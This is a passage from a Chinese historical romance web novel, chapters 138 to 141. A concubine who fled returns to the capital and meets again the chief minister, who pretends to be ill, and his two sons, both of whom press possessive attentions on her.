如今长公子在外地做官,二公子鲜少回府,府上只有大人。 没有主子约束他们,他们每日守在各院,只干完自己的活计,就跑去休息,管事的嬷嬷们瞧见了,也鲜少斥责他们,只督促几句,让他们别太懒散。 唯一需要他们仔细留意的地方只有听雨阁那里,毕竟大人每日宿在那里,他们不敢怠慢。 朱红大门外,一辆马车停下,数年未回府的男人走下马车,迎着一众下人的目光,向林府深处走去。 书院内,钱管家一瞧见他,就忙不迭迎上前,高兴道,“长公子,你回来了。” 林怀瑾微微颔首,“我父亲在何处?” 钱管家闻言面色一顿,随即叹了口气,“长公子你有所不知,大人如今身受重病,正宿在听雨阁。” 林怀瑾闻言,抬步就要前去。 “哎!长公子留步!”钱管家慌忙跑上前,拦住他的去路,讪笑道,“公子,太医说过了,眼下大人的病还未痊愈,不得令人前去打扰。” “大人前几日也嘱咐过,让小人接你回府。” 林怀瑾脚步一顿,迟疑道,“父亲的病……当真如此严重?” 钱管家叹了口气,无奈点头,“太医说了,大人的病是忧思过度引发的旧疾,病根在心上,无药可医,只能先拿汤药吊着,能不能痊愈,还要看大人是否可以放下心中之事。” “毕竟心病还须心药医,解铃还需系铃人。” 林怀瑾眉头促起,看向不远处的书房,未完全相信他的话。 “心病?” 京城宅院内,徐可心在厢房内来回踱步,良久才停下,不解追问,“既然心病缠身,这心病又因何而起?” 林怀瑾坐在一旁,端起茶壶为她倒了一杯茶,“钱管家也说不知情。” 徐可心闻言停下脚步,心上担忧的同时,却是一头雾水。 她想不到男人因何患上心病…… 知晓大人如今仍卧床不起,没有痊愈的征兆,她心上惦念得紧,忍不住上前一步,走至林怀瑾面前,“长公子,我想要回府见大人。” 林怀瑾端起茶杯的手一顿,轻声提醒,“姨娘,父亲素来身体康健,无任何病痛,没道理会突然患病,不如容怀瑾打探几日,姨娘再做决定也不迟。” 他提起那人患病,是为了让徐可心答应同他回京,而非真得想要让她前去探望那人。 到时她回府后,难免有人认出她,先不提尚且躺在病床上那人,醒来后看见她会不会准她离开,他的好二弟得了消息后,怕是也闻着味寻来。 “我等不及了。”她说。 眼下她站在这里,只能凭空乱想,根本难以知晓男人的病情究竟如何,与其漫无目的等着,还不如回府亲自看他一眼。 林怀瑾放下茶杯,本想再劝解一二,可对上女人恳求的目光,即将脱口的话又不自觉被他咽了下去。 沉默半晌,只说了一个好字。 话音落下的瞬间,女人的眼底也霎时露出笑意,无比感激地看着他。 求他做事,感激他,都是为了别的男人。 蜜糖夹着苦盐,一齐喂给他,他虽难以忍受盐的苦味,但实在喜欢蜜糖的甜味,因此只能咽下。 林怀瑾端起茶杯置于唇边,饮下一口茶,以此压下心间的苦涩。 她想要去见父亲,只帮她就是了。 听雨阁。 长公子回府,再次想要求见大人,身旁还跟着一个蒙面女子,说是从外地带来的民间医女,医术高超,说不定能治好他父亲的病。 钱管家方要同上次一样阻拦,等瞥了一眼女人低垂的眉眼时,他目光一怔,霎时露出一副笑模样。 “既是公子带来的医女,那自然是极好的。” 话落,钱管家忙不迭走上前,为他们二人推开门,女人跟在林怀瑾身后,站在熟悉的厢房门前,深呼一口气,才走进房中。 刚一入内,浓郁的草药香便扑面而来。 屋内陈设依旧,唯一不同的是,床头的纱布遮得极为厚重,透过缝隙,隐隐约约能看见躺在里面的人。 目光落在那人搭在床边的手上时,她的心跳也不自觉加快几分,好似被定住一般,站在原地迟迟未动。 林怀瑾看了眼身后的钱管家,“你先退下罢。” 钱管家脚步一顿,余光掠过了一眼女人的背影,笑着点头走了出去,离开时还贴心地阖上门。 房门阖上的瞬间,徐可心彻底难以压下心中的思念,快步走上前,掀起床帘的瞬间,她整个人却彻底僵硬在原地,怔愣地看着床上的男人。 却见不知为何,男人往昔乌黑的长发,彻底变白,竟是没有一根黑发…… 第139章 么,娘亲是何…… 男人平躺在床上,双手交叠在身前,容颜依旧,过去看她时极为温柔的双眸,此时阖在一起,眉眼间透着难以掩饰的病态。 白发垂在肩头,同他的身子融为一体,整个人沉寂无声,好似失了气息的尸体一般。 白发…… 那夜灯节,以及那日桥头,她所追逐的人,也是一头白发。 徐可心站在原地,一个念头在心上浮现,可还未她仔细深想,男人眉眼微动,隐隐有醒来的征兆。 一瞬间,徐可心僵硬在原地。 男人缓慢撩起眼皮,眸色浅淡,只看了她一眼,未语一言,好似未认出她一般。 他只扶着额头,缓慢按揉几下,复又阖上眼。 “你今后不必来了。” “若你喜欢,只改嫁就是,无须问为夫。” 男人缓声低语,尾音落了地,就没了声音,搭在面前的手也停在额间,眉眼透着疲惫。 只刚清醒,复又入睡。 同她讲的话,也好似梦语一般。 双眸微微酸胀,只一瞬间,难言的泪水就溢在眼中,徐可心垂着眉眼,看着躺在床上的男人,心也隐隐阵痛。 她来时不断想着,若男人认出她后,是否会恼怒,亦或怨她、恨她,怪她将一切搞砸,毁了他们的未来。 她想要的,难以启齿的,未来得及说出口的,男人那时都给了她,而她不仅未回馈男人的喜欢,甚至明知他的为难,依旧一意孤行,惦念着徐家一事不放。 她不够好,像个残缺的半月,期待圆满,却在圆满过后,复又走向残缺。 可饶是如此,过去数年,哪怕在梦中,男人同她讲的话,还是为她考虑,令她改嫁,而非她所想的那般,怨她、恨她。 大人依旧记得她,而非忘了她。 湿热的泪溢在眼尾,倏地滑落,濡湿了遮住她容颜的面巾。 她来时只想看男人一眼,可只听了男人的梦语,三年来压抑于心的思念,也如潮水般涌上心头,几乎将她淹没。 眼见男人复又睡去,她不受控地俯下身,跪在床前,趴在男人怀里哭了起来。 未见到他时,设想了一切相见的情景,以为这样做,再见面时就会足够冷静,可有时,现实的一切都不讲道理,思念和爱覆压过来时,哪怕只是一个目光,便让人失了理智。 “大人……”她声音哽咽,同三年前一样,像只脆弱的断藤,依附在男人怀里,想要从他身上讨得关心和慰藉。 只有依靠他时,她才能感到安心,寻得她的根,不会同浮萍落叶一般,四处飘荡。 她哭得厉害,男人却无清醒的征兆,眉眼依旧透着病态,徐可心紧攥他的衣服,期待的安抚和回应也落了空,只能从过去的温存里讨得几分可怜的慰藉,埋首在他怀里,不断感受他身体的余温。 一屏之隔,林怀瑾坐在屏风后,听着不远处传来的哭声,指腹不断摩挲杯底。 女人的哭声断断续续的,哽咽不停。 分明在姑苏时,她总是一副冷淡的模样,好似格外冷静,不会为任何事发愁动容一般。 如今想来,只是不在他林怀瑾面前展露罢了。 只回了林府,回到他父亲身边,又变回那个需要疼爱的徐姨娘。 而面对他时,却无动于衷,把一切思绪隐藏在心底,他的喜欢和纵容,于女人而言,也好似湖边再寻常不过的蒲柳。 徐可心趴在男人怀里哭了良久。 一直得不到他的安慰,没过多久,她也就不哭了。 眼泪都是给心疼的人看的,眼下男人沉睡,她哭得再厉害,大人也不会醒来哄她。 哪怕心中再思念、再委屈,也没什么意思。 看着男人的垂肩白发,她的心也难受得紧,只用帕子轻轻擦拭男人额上的薄汗。 想同他诉说,又怕吵了他的清净,只能紧抿着唇,干坐在那里,一直看着他。 临到午膳前,身后脚步声响起,林怀瑾提醒她,应走了,徐可心才不舍得站起身,跟在林怀瑾身后,一步三回头地离开听雨阁。 钱管家一直守在门外,见他们出来,看了眼女人红肿的眼睛,复又看向林怀瑾,试探道,“公子,不再瞧上一番吗?这刚到午时,厨房那里备好了午膳,公子许久未回府,不如在府中用午膳。” “女先生留在府中,也好再给大人瞧瞧。” “不了。”林怀瑾随口说完,领着女人向府外走去。 钱管家见状,未再劝说,只刚把两人送出府,就忙不迭跑回听雨阁,却见方才沉睡不醒的男人,此时靠在床前,垂眸看着手中的帕子,不知再想什么,眸色清明,无半分疲倦之色。 “大人,人已经走了,长公子这几日宿在京内的一处宅院,徐姨娘和长小姐也住在那处宅院。” “徐姨娘近日未前去旁的地方,鲜少在京中走动,唯一一次出门就是方才回府探望大人。” 男人抚着手中的帕子,缓慢按揉,身前的衣服浸了一大片水渍。 一看见他,便委屈要哭。 分明哄着时,怎么哭也哭不完,要把泪流尽似的,可如今不哄了,反倒自己哭够了,就不哭了。 三年过去了,她想要的自由,也给她了。 如今她自己回京,再想离开,便由不得她了。 他们是夫妻,本就应长长久久陪在彼此身侧…… 接连几日,徐可心都跑来府中探望他,每每她前来,男人都沉睡不醒,她便趴在男人怀里,哭泣不止,同守在丈夫身旁哭坟的小媳妇似的。 一连哭了几天,等她再想要前去时,被钱管家拦了下来,钱管家打着哈哈,笑说大人的病已经好了,让他们不必前来了,还夸她妙手回春,只过了几日,就治好大人的病。 徐可心闻言,隐在面巾下的面色霎时涨红。 男人的病好了,她也没有理由再前来林府,只能守在宅院里,每日等林怀瑾回来,询问有关他父亲的事。 林怀瑾一开始压着不适,同她讲。 可又一次回府,被女人拦住,却是为了他父亲的事情后,他未理会女人的话,走至房中,随手脱下外衣,在女人快步跟上来时,反手关上门,将人压在门上。 砰的一声,好似未料到他的举动,女人仿佛受惊了一般,背靠着门,抬眸不解地看着他,小声唤了一声长公子。 这三年,他数年如一日地压着心上的躁动,耐着性子陪在女人身侧,成日里知无不应,无论她想要什么,都给她。 可饶是如此,徐可心也依旧看不到他,眼里只有他父亲。 “姨娘,怀瑾白日公务繁忙,不知晓父亲今日做了何事,又见了谁,难以为姨娘解惑。” 徐可心背靠房门,整个人被夹在男人的身体和房门之间,几年过去,男人的身形愈发高大,将她整个人完全笼罩在他的身体之下。 对上男人晦涩难懂的目光,她的心跳了跳,不自觉垂下头,看向两人之间的地面,很 轻地嗯了一声,没有再追问。 除了他父亲的事情以外,他们之间便无话可说。 这人也从不关心他每日见了谁,做了什么,辛不辛苦,想不想她…… “姨娘。”他低头,同女人面对面。 徐可心的身体缩了缩,垂眼躲开他的目光。 林怀瑾无声看着她,极力克制,才没有掐着女人的脖颈吻上去,只压着心间躁动,一字一句缓声道,“怀瑾白日公务缠身,身子格外疲倦,可一想到姨娘,怀瑾心上的疲惫就退了些许,只想快些回来,见到姨娘,同姨娘说说话,讲什么都好,哪怕只是一些琐碎小事,怀瑾也愿听姨娘讲述。” “怀瑾心悦姨娘,姨娘也知情,可每日姨娘一见到怀瑾,所言之语无一例外同父亲有关,怀瑾也是人,而非石头,见姨娘在乎父亲,而忽视怀瑾,怀瑾的心也会疼。” 他缓步上前,复又靠近一步,整个人完全覆了上来,眉眼晦涩,透着难压的情意。 在姑苏时,林怀瑾每日前来寻她,鲜少外露心绪,可只一回到京中,又变回了过去那副渴求喜欢的可怜模样。 她自认为,他们之间无多少情意,她也从不回应这人明里暗里的示好,害怕让他误会。 眼下男人将她堵在门前,她却没了过去的畏惧,心上也无多少动容,只攥着袖子,头也不抬道,“若无事的话,我先走了。” 她说完,就要转身离开,林怀瑾先有所察觉,用力攥紧她的手臂,将她一把扯进怀中,俯身揽住她的腰,不受控地将她紧紧抱在怀里。 以为他犯病了,徐可心身子一僵,下意识想要推开他,一瞬间,禁锢住她身子的手臂也加重力气,有力的手掌按在她的后腰上,压着她的身子,让她动弹不得。 男人枕在她肩侧,言语卑怯,近乎恳求,“姨娘,怀瑾不会做任何事,怀瑾只想抱着姨娘,求姨娘疼疼怀瑾。” 他边说,边加重手臂的力气,整个人埋首在怀里,同他所说的那般,只想抱着她,未再做旁的。 徐可心被束缚身子,僵硬地靠着门,看着身前的男人,过了良久,还未等她想好,如何劝男人松手时,林怀瑾没有征兆地站起身,一句话未说,推门离开,独留她一人怔愣地站在原地,看着他近乎落荒而逃的背影。 之后几日,林怀瑾都未回来,下人说他公务繁忙,可不知为何,徐可心认为这人在躲着她。 他不回来,连带着青姝见不到他。 这日午膳时,小孩坐在她怀里,仰头不解问,“娘,长兄去了哪里?青姝好想见到长兄。” 在姑苏时,只要林怀瑾得了空隙,都会帮她照顾青姝,吃饭时,他把青姝抱在怀里,喂她吃饭,出门时,他又让青姝坐在手臂上,带她游玩。 小孩每日跟在他身后,早就把他当亲人,彻底离不开他。 徐可心沉默半晌,不知晓如何回答她的话,良久后,她才轻轻叹了口气,“长兄方回京,有要事在身,难以同过去那般时常陪在青姝身侧。” 小孩坐在她怀里,闻言小脸紧皱,“那好吧。” 知道长兄不能一直陪着她,小孩吃饭时明显心不在焉的,小口小口咽着,时不时看向门外,等快要吃完时,确认长兄不会回来了,她才收回目光。 “娘,青姝吃完了,我们去道观里玩罢。”小孩划走最后一颗米,将干净的空碗举到她面前。 徐可心抚着她的头发,看向门外,轻轻嗯了一声。 那人的病刚痊愈,还未彻底康复。 既然所患之症是心病,她便想着前去道观为男人求一道平安符,再寻取几本心经回来,为男人抄诵。 道观。 正是仲夏时分,道观内的草木郁郁葱葱的,垂下一片阴凉,供观内来往的道友避暑歇息。 湖边杨柳微微摇曳,柳叶落在湖中,激起一阵涟漪,惹得水中红鲤争相追逐。 徐可心上香后,同道长交谈几句,想要求得平安符,青姝一开始陪在她身侧,后来听得无聊,领着随行的丫鬟跑到别处去玩。 小孩年纪太小,看什么都新鲜,光是追着蝴蝶跑,都能玩得乐此不疲,同她姨母幼时一样,性子活泼。 同道长交谈良久,徐可心才分神,拿着手中的经书去寻青姝,想要带她离开。 刚走到湖边,丫鬟就匆匆跑过来,额头沁着热汗,气喘吁吁道,“姨娘不好了,方才小姐在湖边游玩,撞见一个公子,那人见到小姐,竟抓着小姐的衣领将她拎了起来,看衣着,好似是哪个权贵家的公子。” “那人还问小姐叫什么,娘亲是何人。” 丫鬟是姑苏人,同她入京,不认识京中的官员公子。 徐可心闻言眸色一怔,心莫名一滞,“他们如今在哪里?” 丫鬟秉着呼吸,指着一个方向,徐可心紧蹙着眉,方要挪步前去,一声“娘亲”从远处传来。 她停下脚步,下意识抬眸看去,却见青姝抓着一块白玉佩,快步向她跑来,目光落到跟在她身后的男人身上时,她身子一顿,僵硬地站在原地。 身着红衣的男人站在柳树之下,停下脚步,虽未上前,只面无表情地望着她,但不知为何,四目对视的瞬间,她的心反倒跳得愈发厉害,莫名的心虚霎时覆压在心头。 小孩扑进她怀里,举着手中的白玉佩,开心道,“娘,那个哥哥让我把这个玉佩给你。” 她慌乱低头,看向小孩手中的玉佩,却见青姝所拿的白玉佩,正是少时男人送给她的那枚。 他竟还留着这东西…… 徐可心紧抿着唇,彻底没了声音,身前脚步声响起,越靠越近,男人的衣摆映入她的眼帘,她却不敢抬眼看对方,只垂着脑袋,像个罪人一样,良久后,才找回自己的声音,声音僵硬道,“昭明,你也在……” 她底气不足,透着明显的心虚,男人垂眼无声看着她,未语一言。 他的目光落在她的身上,分外直白,令人难以忽视,徐可心只觉浑身燥热难耐,窘迫至极,就在她几乎快要难以忍受男人的目光时,却听他低声问,“我为何不在?” “今日我若不前来此处,又岂会发现,某个不告而别的人竟回来了。” 男人话语很低,并无多少恼怒,可不知为何,偏偏他这副过于平静的语气,反而让她的心跳得愈发厉害,不敢抬头看他…… 疏远两年,分离三年,重逢两年,分离再三年。 眨眼之间,十年过去。 人这一生,又有几个十年…… 第140章 凉亭下。 徐可心坐在亭柱的边缘,抱着手中的经书,反复翻阅,目光却不在经书上。 檐角的风铃微微摇晃,随风发出一阵响动,时不时提醒她回神。 青姝站在地上,抓着那枚玉佩,轻轻摇晃,未听到响动,她跑到坐在一旁的男人面前,指着高处的风铃,轻声道,“哥哥,青姝想要那串铃铛。” 她刚从男人口中知晓,对方是长兄的弟 弟,也是她的二哥。 长兄说了,二哥会喜欢她。 二哥同长兄五官相似,她刚才就发现了,所以饶是二哥冷着脸,不似长兄那般温和,她也不害怕。 小孩捧着玉佩,站在他腿边,扯着他的袖子,眼睛眨也不眨地看着他,眸色全然信任,丝毫不认生。 林昭明瞥了她一眼,想起过去父亲总用玉器哄她,知道小孩同她娘亲一样,喜欢听个响。 林昭明从腰间解下一枚玉佩,递到她手里,小孩攥着两枚玉佩的佩绳,玉佩悬在半空,撞在一起,时不时发出一声脆响。 知道这人就是她二哥,青姝费力地爬到他身侧,坐在他身边倚靠他,只玩了片刻,就阖上眼睛。 她把二哥当成像长兄一样,值得依靠的人。 见她不认生,脸埋在男人的手臂里,徐可心紧抿着唇,将手中的经书放在坐凳上,小声道,“青姝困了,我应带她走了。” 她方要伸手将青姝抱走,骨节分明的大手先她一步托住小孩的身子,将她单手抱在怀里。 他捡起坐凳上的经书,意味不明道,“我送你们回去。” 男人站在她身前,身形高大,完全挡在她面前,无声看着她,面色平和,话里却带着不容置喙的意味。 徐可心的手落了空,良久后轻轻攥在一起。 “不必了。”她小声道。 她婉拒的声音太小,底气也不足,林昭明只看了一眼,大步向亭外走去。 青姝还在他怀里,徐可心见状,只能忙不迭跟在他身后。 马车内。 男人坐在边缘,青姝坐在他腿上,枕着他的手臂,睡得很沉,饶是睡觉,仍攥着那两块玉佩不撒手。 徐可心坐在另一侧,不敢和他对视,只垂着眉眼看向他怀中的青姝。 两人谁都未开口讲话,男人看着窗外,也不知在想什么。 那年大人生辰宴,林昭明见到她时,气晕过去不说,之后又将她扯到房中,怒声斥责她一番,可这次再见到她,男人的态度却意外的平静,甚至可以称得上诡异…… 他不开口,徐可心也不敢同他讲话,只垂着脑袋,攥着手中的帕子。 她本不想带林昭明回宅院,但林昭明已经见到她,无论是否送她回去,之后都会找上门。 一路无言,到了宅院,林昭明抱着青姝,未语一言,直接向宅院里走去,徐可心犹豫片刻,终于走上前,拦住他。 “只送到此处便可。”她轻声道。 林昭明停下脚步,看了眼不远处隐在朱红大门内的宅院,收回目光,无声看了她片刻,没有征兆道,“怎么?怕你的相公瞧见我,误会我们二人?” 男人言语轻佻,眸色却是平静的。 “我哪里来的相公,你别胡说。”徐可心底气不足道。 “若没有相公,当年同你私奔离府的奸夫又是何人?”林昭明俯视她,一字一句,话语带着几分强硬。 听到奸夫二字,徐可心不自觉身子一颤,只把头垂得更低。 她当时说同人私奔,无非是不想待她走后,林昭明仍惦念她。现在林昭明质问她,她反倒搬起石头砸自己的脚,不知晓如何解释。 她不说话,男人反而加重了心上的猜测,低声问,“如此在意他?甚至不敢说出他姓氏名谁?” 忽得想到什么,林昭明上前一步,再次拉进两人之间的距离,近到快要能听见彼此的呼吸时,徐可心才听见他说,“怎么?害怕我上门找他麻烦?” “你既然不敢提及他是谁,那他也算不得你相公,无名无分,同我也没什么两样。” “都是奸夫,你请我入内,哪怕我们二人在房中云雨一番,他也不知情。” “就算知情了,有我在,他也不敢说什么。” 青天白日,男人站在她面前,一字一句说得愈发下流。她站在原地,被林昭明的一番话骇得脸色泛白。 “你只告诉我,那时你到底受了何人的蛊惑?又同谁一起离京,见了谁,住在何处……” 男人的问题一个接一个,不间断地抛向她,砸得她哑口无言,心跳剧烈,浑身上下好似被火点燃一般,烧得她胸口沉闷酸胀。 她挪着步子,下意识退后,以此躲过男人审视的目光。 谁占理,谁气势足,林昭明也早就不欠她什么了,反倒是她,不告而别,出言骗了林昭明。 对上男人晦涩的目光,她像只被逼到竹篓里的鱼儿,双眸怔得浑圆,却说不出一句话。 她迟迟不语,林昭明只站在她身前,无声等她开口。 京城街道平直宽阔,两旁墙壁高耸,日头燥热,直射的日光照在她的后背上,滚烫炽热。 一滴薄汗从后背沁出,濡湿衣衫,只过了片刻,她的衣衫便彻底湿透。 好似一句话就能说清过去的一切,可情意和愧疚压在心头,却让她连开口都难。 “昭明……”她的喉咙微微哑动。 若在过去,她同眼下这般慢吞吞讲话,林昭明早就不耐烦了,可眼下他只站在那里,无声看着她。 沉静、平和,像棵终于扎根于地的古松,被风雪吹刮,却未折倒,身上浮躁的松针被尽数打落在地,徒留愈发□□的枝干。 他好似真得长大成人,真得成为一个沉稳男人,而非冲动鲁莽的少年,于冰天雪地之中,可以依靠的存在。 “我未同人私奔,也没有奸夫。” “我只是想离京,仅此而已……” 寥寥数语,说出来时,却好似耗尽了她的所有力气。 她以为会走得彻底,可她的心记挂着城中之人,被无形的线牵引,她注定走不远,终归是要回来的。 徐可心看着面前之人,面色窘迫,她正搜肠刮肚,想要再说些什么求他原谅时,身前之人没有征兆地走上前,俯身将她紧紧抱在怀里,环住她后背的手臂极为用力,好似要她融进骨子里一般。 那根挺直的脊梁为她弯折,只依靠在她怀里,手掌按着她的后颈,将她的头压在男人怀中,被迫枕在他的颈间。 “姐姐,我很想你,不要再不告而别了……” 男人声音很低很沉,却透着几分不安,徐可心枕在他的肩侧,眉眼低垂,良久后才轻轻嗯了一声。 男人紧抱着她,青姝本在熟睡,被她二哥的胸膛撞了一下头,头晕晕的,霎时清醒,粉白的脸颊也被压扁。 小孩费力地挤出一只手臂,“娘!” 徐可心霎时回神,一把推开男人,将青姝抱在怀里。 林昭明站在一旁,眉头紧拧地看着她怀中的女童,目光落在小孩那双和她娘亲极为相似的杏眸时,他又移开视线,未再说什么。 林昭明说送她回来,就只是送她回来,停在门槛前,未踏入宅院。 临走前说不日会上门拜访,却未说具体何时,只让她等着。 夜色微凉,她坐在桌案上,打着烛灯,手执毛笔在纸卷上细细抄写。 身后脚步声响起,比话语先传来的,是男人身上的酒气。 “姨娘。” 熟悉的声音在身后响起,透着几分还未醒酒的哑气。 徐可心落笔的手一顿,转身看去,却见身着官服的男人站在她身后,垂眼无声看着她。 “下人说,白日昭明送姨娘回府。” “你们二人见面了。”他眸色不算清醒,只俯身上前,双臂撑在她身侧,将她困在桌案之间。 酒气袭面,透着清香,而非腥臭气,这人饶是醉酒,也维持一副体面的姿态。 徐可心放下毛笔,想要站起身,身子刚挺起,男人的手掌落在她的肩膀,又将她重重按回座椅上。 “怀瑾只想同姨娘讲讲话,未想冒犯姨娘。” 他俯下身,下巴抵着她的肩膀,轻蹭她的侧脸,阖着眉眼,好似格外疲倦,又好似格外清醒,虚实难辨,让人分不清他是真醉了,还是假醉了。 男人依在她怀里,一开始只说白日做了什么,过了片刻,他又说到过去府中的事,长久未得到她的回应,没过多久,男人也就不说了。 屋内安静无声,复又过了良久,一声难言的哽咽在耳边响起,“姨娘,为何父亲和昭明都能得到姨娘的喜欢,只有怀瑾不被姨娘放在心上,姨娘告诉怀瑾,如何做才能讨得姨娘的欢心好不好?怀瑾也想被姨娘喜欢,被姨娘在意,哪怕成为姨娘的亲人也好。” “怀瑾错了,怀瑾那日不应强迫姨娘,玷污姨娘的身子,姨娘打骂怀瑾可好?只舒了这口气,原谅怀瑾罢……” 尾字落了地,身后之人彻底没了声音。 徐可心抬眸,却见他阖着眉眼,好似睡了过去,眉眼阴柔,却无阴鸷之色,方才的话也好似他的呓语一般。 借着酒劲,把心里话讲了出来。 她从始至终,都未曾对他动心,林怀瑾想要的喜欢,她也给不了这人。 命下人将男人送回房中,她只坐在烛台前,复又执笔抄写。 她回京时,王小姐得了消息,同她一起入京,想要亲自 看看她未来的相公,到底是不是良人。 这日,王小姐派人传信给她,邀她去京中的茶馆见面,只一见到她,王小姐就连忙迎上前,同她交谈,讲起那位孙公子。 “娘子,你有所不知,那人岂止是少年心性,他分明就是个彻头彻尾的笨蛋。” 女人话语埋怨,语气却透着几分娇嗔。 知晓王小姐满意孙玉景,徐可心轻声劝解她几句,听她讲述这几日发生的事。 她正讲到兴头上时,茶馆一口忽然传来一阵躁动。 “首辅大人!”不知谁喊了一句。 一瞬间,徐可心霎时站起身,快步走至雅间门前推开门,却见茶馆一楼,身着官服的男人为首,领着一众官员向二楼走来,徐可心眸色一怔,下意识退后一步,想要避开男人。 可还未等她关门,不远处一个男人快步跑上前,“徐可心!是你!” 抓住她的男人不是旁人,正是孙家公子孙玉景。 徐可心身子一僵,慌乱低头,“公子你认错人了。” “我怎么可能认错?你化成灰,我都认识你。”孙玉景高声道。 王小姐听到响动,走上前,“你怎么来了?” “你唤我,我当然要来了。”孙玉景下意识道。 只刚回了一句,又分神看向徐可心,“她就是你口中的徐娘子?” 孙玉景紧抓着她的手臂不放,王小姐又站在她身后,她无处可躲,只这会儿功夫,男人便走了过来。 一瞬间,她的心也霎时绷紧。 可四目对视,男人只淡淡看了她一眼,便收回目光,未语一言,甚至眸色也未变化半分,不紧不慢向隔壁雅间走去。 徐可心站在原地,怔怔地望着男人的背影,直到雅间的门被关上,她也未回过神。 大人未认出她……魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第141章 第141章 雅间的门被关上,一墙之隔,她难以看见屋内的景象。 “哎!你不是同人私奔了吗?怎么又回京了?”孙玉景迈步走进,反手关上门。 未等徐可心说什么,正在她身后的王小姐先道,“什么私奔?徐娘子的相公不是苏州巡按御史林大人吗?” “哪个林大人?苏州巡按御史乃是林府长公子,她是首辅大人的妾室……” 说到此处,孙玉景话语一顿,恍然大悟道,“好啊!原来同你私奔的人是长公子!” 王小姐听得一头雾水,“你到底在说什么?首辅大人?” 眼见孙玉景扯着她的手臂不撒手,徐可心无奈,“公子先放手。” “你既然离京了,为何又回来了?”孙玉景紧攥她的手臂,好似怕她跑了一样,“林大人方才前来茶馆,我还你们是一路的。” 不知又想到了什么,孙玉景双眸瞪大,“你不会离府数年吃尽苦头,又惦念林府的荣华富贵,后悔了罢!” “你这个女人,还真是无耻,不行,我今日必须替天行道,收了你这妖女!” 话落,孙玉景扯着她的手臂就向隔壁雅间走去。 “哎!你要带徐娘子去哪?”王小姐听不懂他到底在胡言乱语什么,眼见徐可心被他拽走,她忙不迭跟了过来。 孙玉景是城中出了名的愣头青,他只直接推开门,迎着一众官员的面,直接扯着徐可心的手臂走了进去。 “大人!你瞧瞧她是谁?” 雅间内,男人坐在正对门的位置,手持杯盏,白发垂在肩侧,同官服映衬,却未透有半分迂腐气,往日的死寂也烟消云散。 随行官员站在一旁,见他贸然闯进,一人快步上前,扬手一巴掌打在孙玉景脸上,“你这孽子,愈发无法无天了,这是你该来的地方吗?” 孙大人眼睛瞪得浑圆,只被这不孝子气的心脏直抽搐。 孙玉景被打了一巴掌,也无丝毫悔悟,只紧皱着眉,“我此番前来是有要事禀告林大人,父亲不问青红皂白斥责于我,当真让人寒心!” “我呸!” “你这畜生!”孙大人头脑冒金星,抬手就要再打上去。 “孙大人。”坐在主位的男人淡声道。 尾音落了地,孙大人的手也骤然停在半空,忙不迭转身,走至男人面前,“大人有何吩咐。” 男人手持杯盏,出言唤了他,目光却落在站在孙玉景身侧的女人身上,“不知孙公子有何事要告知本官。” 得了他的话,孙玉景的腰板霎时挺直,看向身侧垂着脑袋的女人,“林大人,你有所不知,此人就是三年前你府中同人私奔潜逃的妾室,如今她不顾法令,又返回京中,实属居心叵测,必须严惩。” 早在那年被林怀瑾耍后,他就记恨上徐可心,自认为同她结下了梁子,眼下寻到机会,说什么也要拆穿她自私自利虚情假意的真面目,让她认罪伏诛。 此话一出,雅间内霎时安静无声。 沈氏每日跑到街上嚷嚷,将林府的丑闻闹得人尽皆知,他们哪怕不想知晓林大人家里的事情,也不得不知晓。 林大人得了一个美妾,极为宠爱,甚至有要娶她的念头,可等他休妻后,那人却同人私奔跑了。 在场官员中,有的上了年龄,知晓她是过去徐大人家的长女,有的刚走马上任,只不解地打量她,好奇到底是何许人也,能够令林大人不惜担上宠妾灭妻的名声,也要抬她为妻。 迎着雅间内众官员的目光,徐可心只觉心跳得愈发厉害,其中一道目光最为随意,也最令她难以忍受。 男人不开口,旁的官员也不敢说什么,只小心垂着头,害怕听得多了,被事后敲打一番。 “罪孽深重,的确应惩处一番。” “先退下罢,今日家中有要事要处理,改日再邀各位前来品茶。” 听到家事二字,不知为何,徐可心的双腿也随之一颤。 眼见众官员行礼离开,她挪着步子,也要跟在他们身后,一旁的孙玉景先察觉她的心思,直接挡在她身前,按着她的肩膀又将她推了回去。 “你别想走。” 他说完,一直盯着她,只等所有官员离开了,他才转过身,反手砰的一声关上门。 “……” 方才还稍显热闹的雅间,霎时安静无声,只余下她和身后之人。 她背对着男人,盯着紧闭的房门,心跳得厉害,不敢回头。 男人沉睡时,她尚且敢趴在他怀里讨得几分安慰,眼下大人清醒,她却连对视也不敢。 僵持之际,身后之人不紧不慢茶杯,茶杯轻叩桌案,发出一声稍显沉闷的脆响,她的心也随之一紧。 “过来。” 男人语气没有起伏,依旧同过去一样,没有半分命令的口吻,可刻在骨子里的依赖,只让她挣扎片刻,就僵硬地转过身,挪着步子,视死如归地向男人走去。 步伐迟缓,如临大敌似的。 她缓步上前,只刚靠近男人,还未行礼,就被扯着手臂一把拉进怀里。 她坐在男人腿上,霎时身子一僵,“大人……呜……”余下的话未等说出口,就被堵了回去。 男人俯下身,攥着她的侧腰,用力按揉,将她完全困在怀中,久违的冷香强势地侵占她身边的每一寸气息,让她难以脱身。 男人衔着她的唇,用力厮磨,百般啃噬,只尝到血腥气,也未停止,好似要将她拆之入腹,徐可心只觉呼吸困难, 身子被禁锢住,徐可心只能被迫仰头,承受男人的吻。 她迟迟未出去,雅间外传来王小姐不满的声音,“孙玉景,徐娘子是我的闺中好友,你为何存心在众人面前给她难堪?我真是看错你了。” “你听我解释,她不是个好人。”孙玉景连忙道。 “我同她相识三载,难道我还不清楚她的为人?反倒是你,我原以为你只是笨,如今看来,你分明就是个蠢货。” 王小姐斥责不停,孙玉景也没了方才为民除害的气愤劲,不满道,“她过去是首 辅大人的妾室,可得宠了,你瞎费什么心,也不怕被人好心当成驴肝肺。” 孙玉景未想过,王小姐身为江南女子,看起来温温柔柔的,讲起话来这般凌厉,王小姐也未想过,孙玉景看起来清雅俊秀的,却是个死心眼。 两人愈吵愈凶,眼见半天未吵出个胜败,一旁的孙大人忍无可忍,“都少说几句!” “林大人还在里面,你们两个都安分些!” 话音刚落,门外没了声音。 而雅间内,徐可心靠在男人怀里,早就被吻得失了力气,面色泛红,唇瓣也格外红肿,被咬破的地方还微微透着血丝。 “敢问夫人是哪家的娘子,为何擅自入京?你一人从外地前来此处,你家相公可知晓?” “如今京中不太平,欺男霸女之事时有发生,娘子如此貌美,却无相公陪同左右,若是被有心人惦念,你家相公怕是悔之晚矣。” 温热的呼吸落在耳侧,男人吻着她的耳垂,在她耳边缓声低语。 他话语不停,徐可心的面色也愈发窘迫,只埋首在男人怀里,躲着他的吻,“大人别再说了……” 